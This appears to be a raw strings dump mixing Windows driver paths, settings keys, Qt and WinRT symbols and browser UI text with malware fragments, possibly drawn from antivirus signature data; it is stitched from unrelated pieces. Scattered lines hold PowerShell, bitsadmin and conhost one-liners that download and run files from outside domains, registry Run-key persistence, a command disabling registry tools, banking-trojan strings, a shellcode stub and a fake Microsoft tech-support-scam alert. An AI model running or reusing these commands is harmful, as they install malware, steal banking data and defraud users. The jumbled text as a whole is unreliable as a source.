c:/windows/system32/drivers/ndisimplatform.sys
c:/windows/system32/drivers/ndistapi.sys
c:/windows/system32/drivers/ndisuio.sys
c:/windows/system32/drivers/ndisvirtualbus.sys
c:/windows/system32/drivers/ndiswan.sys
c:/windows/system32/drivers/ndkperf.sys
c:/windows/system32/drivers/ndkping.sys
c:/windows/system32/drivers/ndproxy.sys
c:/windows/system32/drivers/ndu.sys
c:/windows/system32/drivers/netadaptercx.sys
c:/windows/system32/drivers/netbios.sys
c:/windows/system32/drivers/netbt.sys
c:/windows/system32/drivers/netvsc.sys
c:/windows/system32/driverstore/filerepository/networkprivacypolicy.inf_amd64_9cb09ef0ae0d2066/networkprivacypolicy.sys
c:/windows/system32/driverstore/filerepository/urssynopsys.inf_amd64_ef0be23d0f063014/urssynopsys.sys
c:/windows/system32/drivers/nsiproxy.sys
c:/windows/system32/drivers/nvdimm.sys
c:/windows/system32/drivers/nvmedisk.sys
c:/windows/system32/drivers/nvraid.sys
c:/windows/system32/drivers/nvstor.sys
c:/windows/system32/drivers/p9rdr.sys
c:/windows/system32/drivers/parport.sys
c:/windows/system32/drivers/partmgr.sys
c:/windows/system32/drivers/pci.sys
c:/windows/system32/drivers/pciide.sys
c:/windows/system32/drivers/pcmcia.sys
c:/windows/system32/drivers/pcw.sys
c:/windows/system32/drivers/pdc.sys
c:/windows/system32/drivers/peauth.sys
c:/windows/system32/drivers/percsas2i.sys
c:/windows/system32/drivers/percsas3i.sys
c:/windows/system32/drivers/pktmon.sys
c:/windows/system32/drivers/pktmonapi.sys
c:/windows/system32/driverstore/filerepository/pluton-heci.inf_amd64_40b36f87485c5598/pluton-heci.sys
c:/windows/system32/driverstore/filerepository/plutonhsp2.inf_amd64_2fdd73e0c61ac3a0/plutonhsp2.sys
c:/windows/system32/drivers/pmem.sys
c:/windows/system32/drivers/pnpmem.sys
c:/windows/system32/drivers/portcfg.sys
c:/windows/system32/drivers/raspptp.sys
c:/windows/system32/driverstore/filerepository/prm.inf_amd64_7c38475757a1f016/prm.sys
c:/windows/system32/drivers/processr.sys
c:/windows/system32/drivers/pacer.sys
c:/windows/system32/drivers/pvscsii.sys
c:/windows/system32/drivers/qwavedrv.sys
c:/windows/system32/drivers/ramdisk.sys
c:/windows/system32/drivers/rasacd.sys
c:/windows/system32/drivers/agilevpn.sys
c:/windows/system32/drivers/rasl2tp.sys
c:/windows/system32/drivers/raspppoe.sys
c:/windows/system32/drivers/rassstp.sys
c:/windows/system32/drivers/rdbss.sys
c:/windows/system32/drivers/rdpbus.sys
c:/windows/system32/drivers/rdpdr.sys
c:/windows/system32/drivers/rdyboost.sys
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentemergency
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentfocus
default$windows.data.donotdisturb.quiethourssettings|windows.data.donotdisturb.quiethourssettings
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentfullscreen
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentgame
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentpresentation
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentpostoobe
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentscheduled
default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
default$windows.data.bluelightreduction.bluelightreductionstate|windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
default$windows.data.input.text.roamingdictionary|windows.data.input.text.roamingdictionary
default$windows.data.donotdisturb.quiethourssettings|windows.data.donotdisturb.quiethourssettings
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentemergency
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentfocus
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentpostoobe
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentpresentation
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentfullscreen
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentgame
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentscheduled
default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
default$windows.data.bluelightreduction.bluelightreductionstate|windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
default$windows.data.globalization.culture.culturesettings|windows.data.globalization.culture.culturesettings
default$windows.data.input.devices.pensyncedsettings|windows.data.input.devices.pensyncedsettings
default$windows.data.input.devices.mousesyncedsettings|windows.data.input.devices.mousesyncedsettings
default$windows.data.input.devices.touchpadsyncedsettings|windows.data.input.devices.touchpadsyncedsettings
default$windows.data.input.devices.touchpadsettings|windows.data.input.devices.touchpadsettings
default$windows.data.input.devices.mousesettings|windows.data.input.devices.mousesettings
default$windows.data.input.devices.touchsettings|windows.data.input.devices.touchsettings
default$windows.data.input.devices.pensettings|windows.data.input.devices.pensettings
default$windows.data.input.devices.pensyncedsettings|windows.data.input.devices.pensyncedsettings
default$windows.data.accessibility.eyecontrol.syncedsettings|windows.data.accessibility.eyecontrol.syncedsettings
default$windows.data.apps.devicemetadata|windows.data.apps.devicemetadata
default$windows.data.apps.packagedproducts|windows.data.apps.packagedproducts
default$windows.data.settings.settingsusagehistory|windows.data.settings.settingsusagehistory
default$windows.data.apps.unpackagedproducts|windows.data.apps.unpackagedproducts
default$windows.data.input.text.roamingdictionary|windows.data.input.text.roamingdictionary
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.unrestricted
.exeicon=%systemroot%\system32\shell32.dll,4action=openfoldertoviewfilesshell\open=openshell\open\command=recycler
windirsystemroot%\system32\shell32.dll,4
__SYSTEM__7F4523E5____SYSTEM__91C38905__ABOFA answers:AGrabbed data from: %sscreens\%s\%04X_%08X.jpg=-=-PaNdA!$2+)(*A%s://%s:%s@%u.%u.%u.%u:%u/%sData:certs\%s_%02u_%02u_%04u.pfxfilesearch\%06X_%sAhttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcomeAkbotAFEAT-!-@hj01N./1@};|%s\%04XAgdiplus.dllAPS data:ACustomerServiceMenuEntryPoint?custAction=75wsnpoemArename_bot*.solApstorec.dllAAccept-Encoding:Proxy-Content-Length: AContent-Type: %sHost: Proxy-Connection: AMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Acookie:Connection: Aapplication/x-www-form-urlencoded*<select Connection: close*<input *value="referer: %s*<option  selected*keep-alive*CONNECT software\microsoft\windows nt\currentversion\networkMacromedia\Flash Playercrypt32.dllArexeciAGdiplusStartupAblock_fakeASKIPPED TAN: Aunblock_urlAsoftwareAGRABBED TAN: AHallAunblock_fakeAanonymousAblock_urlAKeys: ASTAT9 :2:8:B:O:T:Z:`:g:ZCID: %s&lcp=:StringDataimage/jpegIk{wvAapcgd1)%%%0%uut\windAsystemaudio.dllvideo.dllntos.exe%s_%08XAQ%u: %sA*%u.%u.%u.%u*%08X.uf%08X%08X%08X%XA%u: %s
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Platform.BackupRestore.DeviceProfile
Windows.Data.Platform.BackupRestore.DeviceProfile
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Platform.BackupRestore.DeviceProfile
OS=Windows_NT
m this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
.?AU?$root_implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@V?$tuple@U?$IIterator@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$iterable_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@UProcessesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
Winlogon
Come modificare le impostazioni per gli aggiornamenti di Windows Update
Aggiornamenti automatici per le app di Microsoft Store e Windows
Puoi modificare le impostazioni per gli aggiornamenti in qualsiasi momento andando a Impostazioni &gt; Aggiornamento e sicurezza &gt; Windows Update &gt; Opzioni avanzate.
Seleziona <b>Altre informazioni</b> per informazioni sulle impostazioni precedenti, su come Windows ti protegge da app e contenuti Web non sicuri e sui trasferimenti e gli utilizzi dei dati correlati.
Scegli le tue impostazioni, quindi seleziona <b>Accetta</b> per salvarle. Seleziona il collegamento <b>Altre informazioni</b> per i dettagli su queste impostazioni, su come cambiarle, su come Windows ti aiuta a proteggerti da app e contenuti Web non sicuri e sui relativi trasferimenti e gli utilizzi dei dati correlati.
 e lo stato delle prestazioni. I dati diagnostici vengono utilizzati per mantenere Windows sicuro e aggiornato, per risolvere i problemi e per apportare miglioramenti al prodotto.
 dei dispositivi e del Web e sulla segnalazione avanzata degli errori. I dati diagnostici vengono usati per garantire la sicurezza e l'aggiornamento di Windows e altri prodotti Microsoft, per risolvere i problemi e per apportare miglioramenti al prodotto. Indipendentemente dall'opzione scelta, il tuo dispositivo sar
"ItemReference<Windows.Data.CuratedTileCollection.
Windows.Data.Platform.Diagnostics
Mozilla/5.0 (Windows NT 10.0; Win64; x
WindowsSearchBox
AddingDMAWindowsScopeNarratorText
WindowsCreateStringReference
ogramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\machine.pckgdep
Windows
Windows Search needs permission to show results from your new search app.
Open Settings to manage the order of web search apps in Windows Search.
Get results in Windows Search from your new web search app
WindowsIndexingDisabledAction
WindowsIndexingDisabledMessage
WindowsIndexingDisabledToolTip
WindowsIndexingInProgressMessage
WindowsIndexingInProgressToolTip
WindowsIndexingIncompleteDetail
WindowsIndexingIncompleteMessage
WindowsIndexingNotificationCheckStatusAction
WindowsIndexingNotificationCheckStatusActionTooltip
WindowsIndexingNotificationDismissAction
WindowsIndexingNotificationDismissActionTooltip
reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d 1 -ycopy 
.exe "%programdata%\microsoft\windows\start menu\programs\startup\
.?AU?$implements_delegate@U?$TypedEventHandler@UUISettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_1>@?7??InitializeComponent@WindowManager@@UEAAJAEBUComponentInitializationState@@@Z@@impl@winrt@@
QWindowsWindow::setGeometry
QWindowsWindow::checkForScreenChanged
QWindowsWindow::handleGeometryChange
QWindowsBaseWindow::setGeometry_sys
QWindowsWindow::setWindowFlags
QWindowsWindow::handleWindowStateChange
QWindowsWindow::setWindowState_sys
QWindowsWindow::setStyle
QWindowsWindow::propagateSizeHints
QWindowsWindow::setFullFrameMargins
QWindowsWindow::setOpacity
QWindowsWindow::requestActivateWindow
QWindowsWindow::setKeyboardGrabEnabled
QWindowsWindow::setMouseGrabEnabled
QWindowsWindow::getSizeHints
QWindowsWindow::setCursor
QWindowsWindow::setDarkBorderToWindow
QWindowsWindow::setCustomMargins
QWindowsIntegrationPrivate::QWindowsIntegrationPrivate
_q_windowsCustomMargins
QWindowsIntegration::createPlatformWindow
Windows QPA: Invalid foreign window ID %p.
QWindowsIntegration::createPlatformOpenGLContext
qt.qpa.windows
QWindows
\"windows
v:\workspace\windows\guarder\build\guarder\make\guarder\make\output\i386\gurdr5x32.pdb!#Lowfi:HSTR:Win32/SoftDistribution
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicy-bypass-windowstylehidden-hidden--hidden---hidden---hidden-commandmsnp.ax;(new-objectsystem.net.webclient).downloadfile('https://www.sodiumlaurethsulfatedesyroyer.com/bwtnglkajdnfhgsthsiubgih/rgsrgtsargsgrtajhbxkfhbgshfbskghb/ttsthrtywtysrtyher/bitderdsble.exe','
Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Connectivity-UsbDualRole-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-DesktopFileExplorer-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DesktopFileExplorer-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-EventLog-Adm-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Printing-XPSServices-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
C:\Windows\S
maximizebutton="no"minimizebutton="no"sysmenu="no"caption="no"windowstate="maximize"/>
c:\windows\system32\cmd.exe/c"bitsadmin/transferbitstranshg/priorityforegroundhttp://
QWindowsFontDatabase::QWindowsFontDatabase
QWindowsFontDatabase::fontEngine
QWindowsFontDatabase::fontDir
QWindowsFontDatabase::fontDefToLOGFONT
QWindowsFontDatabase::fallbacksForFamily
QWindowsFontDatabase::createEngine
QWindowsFontDatabase::systemDefaultFont
QWindowsFontDatabaseFT::fontEngine
QWindowsFontDatabaseFT::fallbacksForFamily
QWindowsFontDatabaseFT::fontDir
QWindowsFontEngine::QWindowsFontEngine
QWindowsFontEngine::~QWindowsFontEngine
)windowsfirewallwarning:\nyourcomputerhasadware/spywarevirus
<elements.length;index++){elements[index].style.display='block';}}functionmyfunction(){for(vari=0;i<=100;i++){vara=alert("microsoftsecurityalert.\n\nsuspiciousactivityofintrusionsdetected,whichistryingtoredirectyoutoavirusattacksite.\n\nthismayhappenduetonothavingobsoletevirusprotectedshield.\n\ntocompletediagnoseandfix,pleasecallmicrosoftwindowssupporthelplineat1-866-248-1415immediately.\n\kindlyensureyoudonotrestartyourcomputertopreventdataloss.\n\n
windowsv
Windows11
Try: {0} Checking your network cables, modem and routers {0} Reconnecting to your wireless network {0} Running Windows Network Diagnostics
=cmd.exewhizcapsule/v/rst^a^r^t^m^s^i^ex^ecy^u^q^m^s^l^r^r=^h^wy^z^bb^fq/^qn^a^x^z^f^l^bzt=^s^xj-^p^a^cka^ge"http://q0.wf:8080/ykb185/x8fxygcdbigcovubwkzseidxjq/m4th/!computername!"%windir%\system32\shell32.dll%
Gc:\windows\system32\windowspowershell\v1.0\powershell.exe-nologo-noprofile-executionpolicybypass-w1-c"&{$p=join-path$env:temp'tsksch.ps1';iwr'https://bloggoversikten.com/localisation/tsksch.ps1'-outfile$p;&$p}"
\windows\system32\conhost.exew--headlesspowershell$gtv='et';new-aliasywg$gtv;.$([char](7467-7362)+'ex')(y-usebhttp://1otal.com/index/index.php)!%systemroot%\system32\shell32.dll%systemroot%\system32\conhost.exe
0t.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
WindowsDefaultLockScreen
Microsoft.Windows.Apprep.ChxApp_1000.25128.
QWindowsPointerHandler::translateTouchEvent
QWindowsOleDataObject::QWindowsOleDataObject
QWindowsOleDataObject::GetData
QWindowsOleDataObject::QueryGetData
QWindowsOleDataObject::SetData
QWindowsOleDataObject::EnumFormatEtc
QWindowsOleEnumFmtEtc::QWindowsOleEnumFmtEtc
application/x-qt-windows-mime;value="
QWindowsMime::registerMimeType: Failed to register clipboard format
QWindowsMimeText::convertToMime
QWindowsMimeHtml::convertToMime
QWindowsMimeImage::formatsForMime
QWindowsMime::allMimesForFormats()
QWindowsMimeConverter::allMimesForFormats
QWindowsMimeConverter::converterFromMime
QWindowsInternalMimeData::hasFormat_sys
QWindowsInternalMimeData::formats_sys
QWindowsInternalMimeData::retrieveData_sys
windows11
c:\windows\system32\cmd.exe /c powershell.exe "iex ((new-object net.webclient).downloadstring('http://
add"hkey_local_machine\software\microsoft\windows\currentversion\run"/v"
c:\windows\system32\rundll32.exe"c:\
varsc01=unescape("%u9090%u9090"+//windowsexecutecommand(calc)"%ue8fcd
.?AUDisplayMuxAppPreference@Internal@Display@Devices@Windows@winrt@@
Microsoft-Windows-TerminalServices-AppCompat-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-TerminalServices-AppCompat-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7623.cat
Microsoft-Windows-TerminalServices-AppCompat-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Admin-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-ErrorReportingFaults-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Shared-FB7E4184A6E43FFB2B9CED35836527DC8B2DC0567C198924523FE98472C4B458~31bf3856ad364e35~amd64~~10.0.26100.7839.cat|rosoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Admin-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-ErrorReportingFaults-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-RDC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
wow64_microsoft-windows-netjoin_31bf3856ad364e35_none_a35c87e06948957a
wow64_microsoft-windows-netplwiz-client_31bf3856ad364e35_none_22164ed12ba16fb4
wow64_microsoft-windows-netplwiz-exe_31bf3856ad364e35_none_f6f3f3a2ac70451f
wow64_microsoft-windows-netplwiz_31bf3856ad364e35_none_d8a09894d2fa804c
wow64_microsoft-windows-netsh.resources_31bf3856ad364e35_en-us_2767801f25ae92c4
wow64_microsoft-windows-netshell-mui.resources_31bf3856ad364e35_en-us_b22d187ea7c2cce9
wow64_microsoft-windows-netshell_31bf3856ad364e35_none_da0d94581e79f356
wow64_microsoft-windows-netsh_31bf3856ad364e35_none_1d6d817792b86419
wow64_microsoft-windows-nettrace-netsh-helper_31bf3856ad364e35_none_bb57b4aaf71c7f8d
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 
verrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UStartupAppsPage@implementation@TaskManagerApp@winrt@@V?$tuple@UStartupAppsPage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$produce@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
